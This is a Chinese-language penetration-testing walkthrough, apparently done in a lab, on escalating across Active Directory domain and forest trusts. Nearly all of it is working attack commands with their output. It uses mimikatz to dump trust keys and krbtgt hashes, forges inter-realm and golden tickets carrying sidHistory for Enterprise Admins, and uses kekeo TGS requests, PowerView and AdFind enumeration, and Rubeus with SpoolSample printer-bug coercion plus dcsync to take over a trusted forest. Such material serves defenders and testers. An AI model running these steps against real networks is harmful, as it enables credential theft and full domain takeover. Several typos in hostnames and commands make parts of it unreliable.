一、 获取域信息
在域中,EnterPrise Admins组(仅出现在在林的根域中)的成员具有对目录林中的所有域的完全控制权限。在默认情况下该组包含所有域控制器上具有Administrators权限的用户。
1.查看sales域内计算机当前权限
2.查看payload域内计算机当前权限
二、 利用域信任密钥获取目标域的权限
查看域内信任关系
nltest /domain_trusts
父域的域控制器:win-dc.payload.com
子域的域控制器:win-dc01.selas.payload.com
子域内的计算机:win-test.selas.payload.com
子域内的普通用户:selas\test
使用mimikatz在域控制器中导出并伪造信任密钥,使用kekeo请求访问目标域中目标服务的TGS票据。使用这两个工具便可以创建具有sidHistory的票据,对目标域进行安全测试。
在子域win-dc01.selas.payload.com中使用mimikatz获取需要的信息。
mimikatz.exe privilege::debug "lsadump::lsa /patch /user:tset$" "lsadump::trust /patch" exit
Domain : SELAS / S-1-5-21-3286823404-654603728-2254694439
Current domain: SELAS.PAYLOAD.COM (SELAS / S-1-5-21-3286823404-654603728-2254694439) # 当前域SID
Domain: PAYLOAD.COM (PAYLOAD / S-1-5-21-1150252187-1650404275-3011793806)
[ In ] SELAS.PAYLOAD.COM -> PAYLOAD.COM # 目标域SID
* aes256_hmac 23bdaeea3fbcc0c487ae2a0c81d252850b5248a54d82c1b6ee45e499382eabee
* aes128_hmac 3efae96e5603cee7a2e7fc0c1b7d2d4b
* rc4_hmac_nt f430c584462c52bc2291fea8705031c5 # 信任密钥
获取信息后,在域内计算机(win-test.selas.payload.com)中使用普通用户(selas\test)权限执行如下命令创建信任票据。
mimikatz "kerberos::golden /domain:selas.payload.com /sid:S-1-5-21-3286823404-654603728-2254694439 /sids:S-1-5-21-1150252187-1650404275-3011793806-519 /rc4:f430c584462c52bc2291fea8705031c5 /user:DarthVader /service:krbtgt /target:payload.com /ticket:payload.kiribi" exit
domian:指定当前域名
sid:当前域SID
sids:目标域SID(519,表示创建的用户属于目标域的管理员组)
rc4:指定信任密钥
user:指定伪造的用户名
service:指定要访问的服务
target:指定目标域名
ticket:指定保存票据的文件名
利用刚刚创建的payload.kiribi的信任票据获取目标域中目标服务的TGS并保存到文件中。
Asktgs payload.kiribi CIFS/WIN-DC.payload.com
然后将获取的TGS票据注入内存
kiribikator lsa CIFS.win-dc.payload.com.kiribi
最后输入如下命令,访问目标服务
dir \\win-dc\c$
三、 利用krbtgt散列值获取目标域的权限
使用mimikatz可以在构建黄金票据时设置sidHistory。因此,如果获取了任意域的krbtgt散列值,就可以利用SidHistory获得该林的完整权限。
首先使用powerview在域内计算机(win-test.selas.payload.com)中使用普通用户selas\test权限获取当前域和目标域的SID,获取域用户SID的常用命令有“wmic useraccount get name,sid” "whoami 、user" “adfind.exe -sc u:test|findstr sid” "powerview"等。
.\powerview.ps1
Get-DomainTrust API
当前域SID : S-1-5-21-3286823404-654603728-2254694439
目标域SID : S-1-5-21-1150252187-1650404275-3011793806
在域控制上使用mimikatz获取krbtgt散列值。
mimikatz privilege::debug "lsadump::lsa /patch /user:krbtgt" sekurlsa::krbtgt exit
或者
sekurlsa::krbtgt
NTLM : ffc79c6f14bb2c39e6ceab183cefc9c5
rc4_hmac_nt : ffc79c6f14bb2c39e6ceab183cefc9c5
在子域内的计算机上(win-test.selas.payload.com)上使用普通用户权限(selas\test)构造并注入黄金票据,获取目标域的权限。
mimikatz "kerberos::golden /user:administrator /domain:selas.payload.com /sid:S-1-5-21-3286823404-654603728-2254694439 /sids:S-1-5-21-1150252187-1650404275-3011793806-519 /krbtgt:ffc79c6f14bb2c39e6ceab183cefc9c5 /ptt" exit
ptt:表示票据注入内存
访问目标服务
dir \\win-dc.payload.com\c$
四、外部信任和林信任
1.利用信任关系获取信任域的信息
因为外部信任和林信任中存在SID过滤机制,所以无法利用SID History获取权限。
使用adfind工具获取信任域的完整信息例如获取administrator用户的详细信息如下:
输入如下命令,导出全部用户信息
adfind -h payload.com -sc u:administrator
通过对比目标域和当前域的用户列表,找出同时加入这两个域的用户。
2.使用powerview定位敏感用户
执行如下命令,列出目标域用户组中的外部用户
.\powerview.ps1
Get-DomainForeignGroupMember -Domain payload.com
五、利用无约束委派和MS-RPRN获取信任林权限
如果攻击者已经获取了域林中某个域控制器的权限,或者配置了无约束委派的任何服务器的权限,就可以使用MS-RPRN,使信任林的域控制器向已被控的服务器发送身份认证请求,利用捕获的票据获取信任林内任意用户的散列值。
首先,在dc.a.com上使用rubeus工具,监控身份认证请求,interval参数用于设置监控的时间间隔,单位为秒;filteruser用于指定渗透测试中需要关注的用户。
rubeus.exe monitor /interval:5 /filteruser:BDC$
开启监听后,在命令行环境下执行如下命令,使用SpoolSample工具让目标域控制器bcd.b.com向dc.a.com发送身份认证请求。
GitHub: https://github.com/leechristensen/SpoolSample
SpoolSample.exe bdc.b.com dc.a.com
此时,rubeus会捕获来自bdc.b.com的认证请求,保存其中的TGT数据。
清除TGT数据文件中多余的换行符,然后使用rubeus工具将票据注入内存。
Rubeus.exe ptt /ticket:
使用mimikatz获取目标域的krbtgt散列值。使用mimikatz的dcsync功能,模拟域控制器向目标域控制器发送请求(获取账户密码)
mimikatz "lsadump::dcsync /domain:b.com /user:b\krbtgt" exit
构造黄金票据并将其注入内存,获取目标域控制器的权限。
mimikatz "kerberos::golden /user:administrator /domain:b.com /sid: /rc4: /ptt" exit
最后访问目标服务
dir \\bdc.com\c$
rubeus使用参考: https://www.anquanke.com/post/id/161781
无约束委派:
https://www.anquanke.com/post/id/166934
http://www.hackdig.com/?tag=%E5%9F%9F%E6%B8%97%E9%80%8F
https://xz.aliyun.com/t/7217